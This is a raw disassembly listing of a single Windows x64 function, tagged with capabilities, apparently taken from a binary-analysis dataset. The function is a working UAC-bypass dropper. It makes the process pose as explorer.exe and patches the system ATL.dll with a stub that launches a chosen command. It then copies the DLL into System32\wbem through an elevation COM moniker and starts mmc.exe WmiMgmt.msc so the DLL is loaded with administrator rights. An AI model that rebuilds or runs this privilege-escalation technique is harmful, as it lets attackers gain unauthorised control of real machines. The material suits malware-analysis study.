Function at 0x140003420
Capabilities:
Accept command line arguments
Create process on windows
Get common file path
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x14001a040]
xor rax, rsp
mov qword [rbp + 0x220], rax
xor edi, edi
mov dword [rbp - 0x48], edi
xor ecx, ecx
call qword [sym.imp.MSVCP140D.dll_public:_static_bool___cdecl_std::ios_base::sync_with_stdio_bool_]
lea edx, [rdi + 0xe]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov ebx, eax
test eax, eax
jns 0x1400034c8
lea rdx, str.CoInitializeEx___failed.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008080
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.140008080
lea rdx, [0x1400024b0]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140008250]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400041cb
lea rcx, [0x140004220]
call fcn.14000dea0
mov qword [rbp - 0x50], rdi
lea r9, [rbp - 0x50]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400122b0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov ebx, eax
mov rcx, qword [rbp - 0x50]
test eax, eax
jns 0x14000350a
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath_0__failed.
jmp 0x14000347d
mov rsi, 0xffffffffffffffff
mov rax, rsi
lea rax, [rax + 1]
cmp word [rcx + rax*2], di
jne 0x140003514
lea rdi, [rax*2 + 0x1c]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov rdx, rdi
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov r14, rax
mov qword [rsp + 0x40], rax
mov r15, qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp - 0x50]
mov rcx, rsi
nop dword [rax]
lea rcx, [rcx + 1]
cmp word [rax + rcx*2], 0
jne 0x140003560
movups xmm0, xmmword [str.explorer.exe]
movups xmmword [r14 + rcx*2], xmm0
movsd xmm0, qword [0x140013958]
movsd qword [r14 + rcx*2 + 0x10], xmm0
mov eax, dword [0x140013960]
mov dword [r14 + rcx*2 + 0x18], eax
lea r9, [rbp - 0x50]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140013030]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov ebx, eax
mov rcx, qword [rbp - 0x50]
test eax, eax
jns 0x140003609
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str._failed.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008080
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.140008080
lea rdx, [0x1400024b0]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140008250]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400041bf
mov r15, rsi
nop dword [rax]
lea r15, [r15 + 1]
cmp word [rcx + r15*2], 0
jne 0x140003610
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
lea rdx, [r15*2 + 0x1c]
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov r12, rax
mov rbx, qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rbp + 0x1b0], rbx
mov qword [rbp + 0x1b8], rax
movups xmm0, xmmword [0x140013978]
movups xmmword [rax + r15*2], xmm0
movzx eax, word [0x140013988]
mov word [r12 + r15*2 + 0x10], ax
mov qword [rbp - 0x40], r14
mov word [rbp - 0x38], di
lea r8, [rbp - 0x40]
lea rdx, [0x140004270]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrEnumerateLoadedModules]
test eax, eax
js 0x1400041ad
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140D.dll_memset
mov rdx, r12
lea rcx, [rbp - 0x30]
call fcn.140005410
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400036f2
lea rdx, str.Failed_to_open
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400082a0
mov rdx, r12
mov rcx, rax
call fcn.1400082a0
lea rdx, [0x140008480]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x1400041a3
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, qword [rbp + 0x158]
add rcx, qword [rbp + 0x160]
call fcn.14000df20
mov rdi, rax
mov qword [rbp + 0x198], rax
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp + 0x120], rax
movaps xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [rbp + 0x120]
movsd qword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_struct__Mbstatet_____ptr64]
mov r8, qword [rbp + 0x160]
add r8, qword [rbp + 0x158]
mov rdx, rdi
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x14000379a
lea rdx, str.Failed_to_read_system_ATL.dll_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008080
jmp 0x140004195
lea rcx, [rbp - 0x18]
call fcn.140006840
test rax, rax
jne 0x1400037c4
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140D.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movsxd r13, dword [rdi + 0x3c]
movzx eax, word [r13 + rdi + 0x14]
lea r14, [r13 + 0x18]
add r14, rdi
add r14, rax
xor edx, edx
mov ecx, edx
lea r8, str..text
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rcx]
inc rcx
cmp al, byte [r14 + rcx - 1]
jne 0x140003810
cmp rcx, 6
jne 0x1400037f0
jmp 0x140003835
add r14, 0x28
mov rax, rdx
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
inc rax
cmp cl, byte [r14 + rax - 1]
jne 0x140003810
cmp rax, 6
jne 0x140003820
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rbx, rax
xor eax, eax
mov qword [rbp + 0x130], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], rax
lea ecx, [rax + 0x10]
call fcn.14000d5c0
xor edx, edx
mov qword [rax + 8], rdx
mov qword [rbp + 0x130], rax
lea rcx, [rbp + 0x130]
mov qword [rax], rcx
mov qword [rbp + 0x148], rdx
mov qword [rbp + 0x150], 7
mov word [rbp + 0x138], dx
lea rdx, [rbp + 0x108]
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rbx, rax
cmp dword [rbp + 0x108], 1
jle 0x1400038d9
mov rdx, qword [rax + 8]
nop word [rax + rax]
inc rsi
cmp word [rdx + rsi*2], 0
jne 0x1400038c0
mov r8, rsi
lea rcx, [rbp + 0x130]
call fcn.140005850
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp qword [rbp + 0x148], 0
jne 0x140003914
lea rdx, str.xxx.exe_c:_windows_system32_calc.exe
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008080
lea rdx, [0x140008250]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000417d
mov ecx, 0x800
call fcn.14000df20
mov rsi, rax
mov qword [rbp - 0x80], rax
xor edx, edx
mov r8d, 0x800
mov rcx, rax
call sub.VCRUNTIME140D.dll_memset
mov qword [rbp + 0x1e8], rsi
lea r8, [rbp + 0x138]
cmp qword [rbp + 0x150], 7
cmova r8, qword [rbp + 0x138]
mov edx, 0x400
mov rcx, rsi
call qword [sym.imp.ucrtbased.dll_wcscpy_s]
mov r8, qword [rbp + 0x148]
lea r8, [r8*2 + 2]
mov rdx, rsi
mov rcx, r12
call sub.VCRUNTIME140D.dll_memcpy
mov ecx, dword [r13 + rdi + 0x28]
mov eax, dword [r14 + 0xc]
sub rcx, rax
mov ebx, dword [r14 + 0x14]
lea rax, [rdi + rcx]
add rbx, rax
movaps xmm0, xmmword [0x140014090]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x1400140a0]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x1400140b0]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x1400140c0]
movups xmmword [rbx + 0x30], xmm1
movaps xmm0, xmmword [0x1400140d0]
movups xmmword [rbx + 0x40], xmm0
movaps xmm1, xmmword [0x1400140e0]
movups xmmword [rbx + 0x50], xmm1
movaps xmm0, xmmword [0x1400140f0]
movups xmmword [rbx + 0x60], xmm0
movaps xmm1, xmmword [0x140014100]
movups xmmword [rbx + 0x70], xmm1
movsd xmm0, qword [0x140014110]
movsd qword [rbx + 0x80], xmm0
movzx eax, byte [0x140014118]
mov byte [rbx + 0x88], al
lea r8, [r15*2 + 0xf4]
lea rcx, [rbx + 0x89]
mov rdx, r12
call sub.VCRUNTIME140D.dll_memcpy
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rbx + 0x71], rax
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rbx + 0x7f], rax
cmp qword [rbp + 0x68], 0
jne 0x140003b5f
mov edx, 0x22
lea r8d, [rdx + 0x1e]
lea rcx, [0x140013a00]
call qword [sym.imp.MSVCP140D.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rbx, rax
test rax, rax
je 0x140003b5f
mov byte [rbp + 0x64], 1
mov byte [rbp + 0x59], 0
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
xor r13d, r13d
mov qword [rbp + 0x128], r13
mov qword [rbp + 0x110], r13
mov qword [rbp - 0x48], r13
lea r9, [rbp - 0x48]
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x128]
mov rcx, rbx
call qword [sym.imp.ucrtbased.dll__get_stream_buffer_pointers]
mov r9, qword [rbp - 0x48]
mov qword [rsp + 0x30], r9
mov r8, qword [rbp + 0x110]
mov qword [rsp + 0x28], r8
mov rdx, qword [rbp + 0x128]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [rbp + 0x68], rbx
mov rax, qword [0x14001ab68]
mov qword [rbp + 0x5c], rax
mov qword [rbp + 0x50], r13
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.140008620
mov rbx, rax
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x140003b0e
mov qword [rbp + 0x50], r13
jmp 0x140003b1d
mov qword [rbp + 0x50], rbx
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140003b43
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140003b43
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140D.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140003b7e
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140D.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor r13d, r13d
cmp qword [rbp + 0x68], 0
jne 0x140003b91
lea rdx, str.Error_creating_payload_drop_n
jmp 0x140004162
mov r8, qword [rbp + 0x160]
add r8, qword [rbp + 0x158]
mov rdx, rdi
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x14000415b
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x14000415b
lea rcx, [rbp - 0x18]
call fcn.140006840
test rax, rax
jne 0x140003c10
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140D.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rbp + 0x170], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], r13
mov r8d, 0x18
lea rdx, str.C:WINDOWS_system32wbem
lea rcx, [rbp + 0x170]
call fcn.140008d50
nop
mov ecx, 0x800
call fcn.14000df20
mov rbx, rax
xor edx, edx
mov r8d, 0x800
mov rcx, rax
call sub.VCRUNTIME140D.dll_memset
mov qword [rbp + 0x128], rbx
mov r15d, 0x13
lea r8, [rbp + 0x178]
cmp qword [rbp + 0x190], 7
cmova r8, qword [rbp + 0x178]
mov edx, 0x400
mov rcx, rbx
call qword [sym.imp.ucrtbased.dll_wcscpy_s]
mov r8, qword [rbp + 0x188]
lea r8, [r8*2 + 2]
mov rdx, rbx
mov rcx, r12
call sub.VCRUNTIME140D.dll_memcpy
mov r14, r13
lea rsi, str.path_input_not_null_terminated
lea rdi, [0x14001330c]
lea rax, str.dropper
nop word [rax + rax]
cmp r14, 8
jb 0x140003d2d
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8d, 0x10f
lea rdx, [0x140013d30]
lea ecx, [r9 + 2]
call qword [sym.imp.ucrtbased.dll__CrtDbgReport]
cmp eax, 1
jne 0x140003d00
int3
mov qword [rsp + 0x20], r13
mov r9d, 0x10f
lea r8, str.D:Program_FilesMicrosoft_Visual_Studio2022CommunityVCToolsMSVC14.39.33519include_filesystem
lea rdx, [0x140013444]
lea rcx, str._path_input_not_null_terminated_
call qword [sym.imp.ucrtbased.dll__invalid_parameter]
lea rax, str.dropper
cmp word [rax + r14*2], 0
je 0x140003d3a
inc r14
jmp 0x140003cd0
mov qword [rsp + 0x50], r13
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
mov r8, r14
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140008d50
or r15d, 0xc
mov dword [rbp - 0x48], r15d
mov qword [rbp + 0x110], 0
lea rax, [0x14001a0c8]
mov qword [rbp + 0x118], rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x78]
call fcn.1400031c0
or r15d, 0x20
mov dword [rbp - 0x48], r15d
cmp dword [rbp + 0x110], 0
mov rdi, qword [rbp + 0x198]
mov rsi, qword [rbp - 0x80]
jne 0x140004200
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x1c0]
call fcn.140002b50
nop
lea rcx, [rbp - 0x78]
call fcn.140005b50
nop
lea rcx, [rsp + 0x50]
call fcn.140005b50
mov qword [rbp + 0x100], r13
mov qword [rbp + 0xf8], r13
lea r9, [rbp + 0x100]
lea r8, [0x140013ff0]
xor edx, edx
mov rcx, r12
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov r14d, eax
test eax, eax
jns 0x140003e13
lea rdx, str.SHCreateItemFromParsingName_0__failed.
jmp 0x140003e4e
lea rcx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 7
cmova rcx, qword [rbp + 0x1c8]
lea r9, [rbp + 0xf8]
lea r8, [0x140013ff0]
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov r14d, eax
test eax, eax
jns 0x140003e9a
lea rdx, [0x140013ac8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008080
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.140008080
lea rdx, [0x1400024b0]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, r14d
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140008250]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003fcf
mov qword [rbp + 0xf0], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1f4], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x208], xmm1
mov qword [rbp + 0x218], r13
mov dword [rbp + 0x1f0], 0x30
mov dword [rbp + 0x204], 4
lea r9, [rbp + 0xf0]
lea r8, [0x140013f10]
lea rdx, [rbp + 0x1f0]
lea rcx, str.Elevation:Administrator_new:3AD05575_8857_4850_9277_11B85BDB8E09
call qword [sym.imp.ole32.dll_CoGetObject]
mov r14d, eax
test eax, eax
js 0x140003f66
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r13
lea r9, str.ATL.dll
mov r8, qword [rbp + 0x100]
mov rdx, qword [rbp + 0xf8]
call qword [rax + 0x70]
mov r14d, eax
test eax, eax
jns 0x140003f32
lea rdx, str.error:
jmp 0x140003f6d
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
mov edx, 0x10800410
call qword [rax + 0x28]
mov r14d, eax
test eax, eax
js 0x140003f66
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
call qword [rax + 0xa8]
mov r14d, eax
test eax, eax
jns 0x14000402f
lea rdx, [0x140013ac8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008080
lea rdx, str._HRESULT:_0x
mov rcx, rax
call fcn.140008080
lea rdx, [0x1400024b0]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, r14d
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140008250]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x140003fcf
mov qword [rbp + 0xf0], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x140003fe9
mov qword [rbp + 0xf8], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x140004003
mov qword [rbp + 0x100], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
lea rcx, [rbp + 0x1c0]
call fcn.140005b50
nop
test rbx, rbx
je 0x14000401e
mov rcx, rbx
call fcn.14000d580
nop
lea rcx, [rbp + 0x170]
call fcn.140005b50
jmp 0x14000416f
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
lea r9, str.WmiMgmt.msc
lea r8, str.mmc.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r14, rax
cmp eax, 0x20
jg 0x14000408e
lea rdx, str.error
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008080
mov edx, r14d
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140008250]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400040a8
mov qword [rbp + 0xf0], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x1400040c2
mov qword [rbp + 0xf8], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x1400040dc
mov qword [rbp + 0x100], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
lea rcx, [rbp + 0x1c0]
call fcn.140005b50
nop
test rbx, rbx
je 0x1400040f7
mov rcx, rbx
call fcn.14000d580
nop
lea rcx, [rbp + 0x170]
call fcn.140005b50
nop
test rsi, rsi
je 0x140004112
mov rcx, rsi
call fcn.14000d580
nop
lea rcx, [rbp + 0x130]
call fcn.140005b50
nop
test rdi, rdi
je 0x14000412d
mov rcx, rdi
call fcn.14000d580
nop
lea rcx, [rbp - 0x30]
call fcn.1400042c0
nop
test r12, r12
je 0x140004146
mov rcx, r12
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140004157
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
xor eax, eax
jmp 0x1400041d0
lea rdx, str.Error_writing_payload_drop_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008080
nop
test rsi, rsi
je 0x14000417d
mov rcx, rsi
call fcn.14000d580
nop
lea rcx, [rbp + 0x130]
call fcn.140005b50
mov r14, qword [rsp + 0x40]
mov rbx, qword [sym.imp.ole32.dll_CoTaskMemFree]
test rdi, rdi
je 0x1400041a3
mov rcx, rdi
call fcn.14000d580
nop
lea rcx, [rbp - 0x30]
call fcn.1400042c0
nop
test r12, r12
je 0x1400041b8
mov rcx, r12
call rbx
nop
mov r15, qword [sym.imp.ole32.dll_CoTaskMemFree]
test r14, r14
je 0x1400041cb
mov rcx, r14
call r15
nop
mov eax, 1
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.14000d560
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rbp + 0x110]
call fcn.140003120
int3